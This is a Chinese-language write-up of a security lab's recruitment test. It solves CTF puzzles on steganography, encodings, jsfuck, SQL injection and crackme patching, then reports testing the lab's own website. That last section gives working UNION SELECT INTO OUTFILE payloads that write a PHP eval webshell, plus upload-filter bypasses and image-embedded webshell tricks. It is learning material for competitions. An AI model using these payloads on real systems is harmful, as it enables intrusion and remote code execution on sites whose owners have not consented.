信息安全实验室招新试题和完全解析
任务一:个人介绍网页
写个网页应该是很简单的,不管是静态网页还是带特效的网页。但是有几个问题,需要说明一下。
题目说HTML和html文件格式会被后台过滤无法实现上传,这个是考我们如何绕过上传限制。
首先想想是不是JavaScript脚本限制,打开控制台,看到JS脚本控制的是文件的大小。
所以肯定不是本地校检,于是改后缀名。Html、hTml,等等都可以上传。只要不是HTML和html。
第二点,由于只可以上传HTML文件,那么资源文件就不可以上传了。比如说图片js、css文件,于是就只好通过CDN引入,图片可以用七牛云或其他的图床平台。这里我是用我的网站提供部分图片和JS的引入。
任务二:CTF试题
第一题
web类,登录拿flag
审查网页发现<!-- you will find a surprise in css-->的注释,于是查看css样式,发现密码提示,再更改输入框属性,改最大输入为11字符,登录,拿到flag 。
登陆成功, Flag 是 flag{XinXiAnQuanLabZhaoXinTest}
第二题
隐写术,找出图片中的flag
打开图片发现没有flag信息,于是用winhex打开,拉倒最下面,发现flag.txt文件信息。加上这张图片的文件名“rar.jpg”赤裸裸的提示是个压缩包。改后缀rar,打开文件发现flag.txt。
内容为flag{ZmxhZ3tXZWxjb21lIHRvIHRoZSBpbmZvcm1hdGlvbiBzZWN1cml0eSBsYWJ9}
一看文本内容就知道进过base64加密,遂解密得到flag。
解密成功,Flag是flag{Welcome to the information security lab}
第三题
隐写术
居然给了提示,“本题 你需要用到 Stegsolve.jar 这个软件 并且 电脑上要装有jdk(请自行百度jdk安装教程)”,所以你要考我们配置JDK环境?哈哈。下载后的图,直接用软件打开,一直按左键,过滤其他颜色编码。就得到了二维码。
扫描二维码得到flag{this is a new word}
第四题
大数模运算:求sum = 1!+2!+3!+……+5677!+5678!的末5位。
这个题,初看吓我一跳。题目是求模,为啥给的题是求和。好吧言归正传,对于大数来说,一个数的阶乘是非常大的,同样,一个int类型的整数,他的阶乘就有可能会很大。
就拿50来说,他的阶乘位数是65位,就已经远远超过了long long int类型的最大值。这时候,我们要通过字符串的方法,来进行阶乘的运算。
其方法是:
首先,我们是可以先求一定范围内的最大值的阶乘位数,以便于申请数组空间的确定。
对于大数问题,我们要有将大数与数组结合的思想,可以利用类似于人工求值的方法求出有关大数的问题。
对于大数阶乘来说,最重要的是如何将每个数的每位数与相对应的数组元素储存起来,就如算50的阶乘,我们要先从1开始乘:
1*2=2,将2存到a[0]中,
接下来是用a[0]*3;
2*3=6,将6储存在a[0]中,
接下来是用a[0]*4;
6*4=24,是两位数,那么24%10==4存到a[0]中,24/10==2存到a[1]中,
接下来是用a[0]*5;a[1]*5+num(如果前一位相乘结果位数是两位数,那么num就等于十位上的那个数字;如果是一位数,num==0)
24*5=120,是三位数,那么120%10==0存到a[0]中,120/10%10==2存到a[1]中,120/100==1存到a[2]中,
接下来是用a[0]*3;a[1]*6+num;a[2]*6+num;
120*6=720,那么720%10==0存到a[0]中,720/10%10==2存到a[1]中,720/100==7存到a[2]中,
...................
直到乘到50,将每一位数储存为止。
诶诶,其实这个是大佬给的方法,会用就行。下面贴大佬代码,C语言实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#include <stdio.h> int main() { int a[20001];//储存每一位所得到的数 int temp,digit,n,i,j=0;//temp每次的得数 digit每次得数的位数 scanf("%d",&n); a[0]=1;//从1开始乘 digit=1;//位数从第一位开始 for(i=2;i<=n;i++) { int num=0; for(j=0;j<digit;j++) { temp=a[j]*i+num;//将一个数的每一位数都分别乘以i, a[j]=temp%10;//将一个数的每一位数利用数组进行储存 num=temp/10; } while(num)//判断退出循环后,num的值是否为0 { a[digit]=num%10;//继续储存 num=num/10; digit++; } } for(i=digit-1;i>=0;i--)//倒序输出每一位 printf("%d",a[i]); printf("\n"); return 0; } |
代码写好了,跑起来试试!直接来狠的求5678!得出的结果大吃一惊!
末尾全部是0,很诧异有木有!我还以为结尾是乱七八糟的数字。好美不是么,这样就有思路了。题目叫求的是末尾5位,那就找临界值啊。现在找一个最大的N!使其末尾5位不全是0!经测试24是最大的。
那么问题简化为求sum = 1!+2!+3!+……+24!的末5位。
好吧,求每个数阶乘的末5位,在求和就可以得到答案啦。Excel是个好东西哈。最终得到末6位是840313。
拿到flag{40313}
第五题
双基回文数
计算大于正整数16000的最小双基回文数(一个正整数至少在两种进制模式下都是回文数,则称这个数为双基回文数)
直接贴代码,由于是JavaScript写的代码,F12浏览器控制台运行,得到结果。
这里范围写小点16000-100000。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
function s() { var done = 0; var c = 0; var n = 0; for (var j = 16000; done < 2 && j <= 100000; j++) { for (var i = 2; i <= 10; i++) { c++; n = tenToN(j, i); if (f(n.toString())) { ++done; if (done == 2) { return j; } } } done = 0; } console.log("not found "); } function f(s) { var len = s.length; for (var i = 0; i < (len - 1) / 2 | 0; i++) { if (s[i] != s[len - i - 1]) { return false; } } return true; } function tenToN(num, n) { var r = num; var ret = ""; for (; r >= n; ret = r % n + ret, r = r / n | 0); ret = r + ret; return ret; } s(); |
跑出结果,flag{16191}
第六题
解码题
打开网页发现是一串字符,0x开头,说明是16进制。然后解码为文本发现是URL编码之后的文本,再去解码。
解码的字符串以==结尾,发现是经过base64加密的文本。
MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTUKMTA0CjEwNQoxMjEKOTcKMTEwCjk4Cjk3CjExNA==
再去解密base64,得到十进制的数据。
再对照ASCII码,得出最终flag。flag{welcometoshiyanbar}
第七题
培根解码
打开网页明显发现是摩斯密码,解密之后的内容:
1 |
morse_is_cool_but_bacon_is_cooler_dccdcccdddcdcccddcccccccccddcdccccdccccccdcccdccdccccdccdddccdddccdcdd |
百度培根密码:得到介绍
培根所用的密码是一种本质上用二进制数设计的,没有用通常的0和1来表示,而是采用a和b,如大写字母和小写字母,英文和数字,斜体和正体等等。那么在这里D为b,C为a.
替换后为baabaaabbbabaaabbaaaaaaaaabbabaaaabaaaaaabaaabaabaaaabaabbbaabbbaababb
对照培根密码表,或者在线解密。点击这里
得到:shiyanbaiscool但是怎么输入都是错的,怀疑人生。最后发现,原摩斯码居然有“/”,好吧用空格代替。得到最终flag{SHIYANBA IS COOL}
第八题
jsfuck
说实话,这个加密惊艳到我了,第一次接触到一脸懵逼。百度里面的代码,知道是jsfuck,打开官方Github看到了介绍。下面的代码这是很小一部分。
这是一个黑客奇葩的想法。
在黑客行为中,你的js代码可能被关键词检测,于是考虑躲避关键词检测的想法,例如 eval等关键词。
1、想了各种方法来规避这个检测。
2、把方法写成通用的程序。
3、把包含的字符做到极致,最后只剩下 ()+[]! 这六个字符。
我的思路如下:
首先看看可不可以直接到控制台运行,复制回车运行。居然运行不了!再想想是不是少了字符。看到开始的字符不对称,半角方括号没有括起来。于是加一个]。运行弹出alert对话框:flag is not here。
这时候看到官方文档有个实例,与给出的代码有点相仿。
于是删除结尾的"()"代码,运行。没输出,考虑到开始的字符不对称,半角方括号没有括起来。于是在末尾加一个]。回车得到一个数组,打开数组得到flag。好了一切就是那么奇妙。
flag{f_f_l_u_a_c_g_k}
第九题
SQL注入
打开界面,只有一个提示。撸起袖子就是干,寻找注入点吧!
首先想到的就是该id,将x=1中的1改为其他数字,2、3、4...测试到4就可以得到flag了。
不过,还不满足,再加一句or 1=1,返回表中所有内容。这里发现ID有4,5,6。就是说结尾的x=4中的ID为4,5,6都可以注入。实验了一下确实可以。7就不可以了。
flag{fanke12}
第十题
逆向工程
就是一个逆向的基础教程,不写过程了。
第十一题
破解注册机
不得不说,给的工具我不会用。于是百度下载了一个吾爱破解的专属OD工具。爽歪歪!总之就是暴力破解,在定位到GetDlgItemText这个API处,F8单步步过向下跟随到有test判断的地方,注意观察数据堆栈区的位置。
004011E5地址处call调用一个函数,并且在之前push了三个参数。第二处test指令下面那条je跳转指令用nop填充掉。
保存时一个学问啊,刚开始逆向,连保存都不会。可怜,还是百度好久才会。
任务三:网站测试和建议
在做SQL注入时,通过sqlmap暴库,绕过waf,跑出了网站的数据库。查看了部分表,但是下课了,就没继续了。后来waf机制更严格了,随便一注入IP就被封,就没有测试了。
尝试长传小马,waf没有检测出恶意代码,但是万恶的监测机制,把我绕过后缀名检测的php文件直接改后缀为HTML,就没法获取webshell了。这里绕过的方法是双后缀,比如a.Html.php,就可以上传了。
当然,还有一个方法应该可以拿权限,就是通过SQL注入。
union select语句来写入webshell。
‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
‘ union select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘文件绝对路径’+- -+
绝对路径的获取需要在SQL注入那个网页,通过注入报错返回绝对路径。
还有一个方式是通过图片上传,在问题一有个可以上传图片的地方,上传后,可以返回文件袋相对地址。这时候,再猜绝对路径。
我们通过CMD的copy命令,将小马文件压制在图片里。在用截断的方式该jpg为可执行php,在用菜刀连接获取webshel。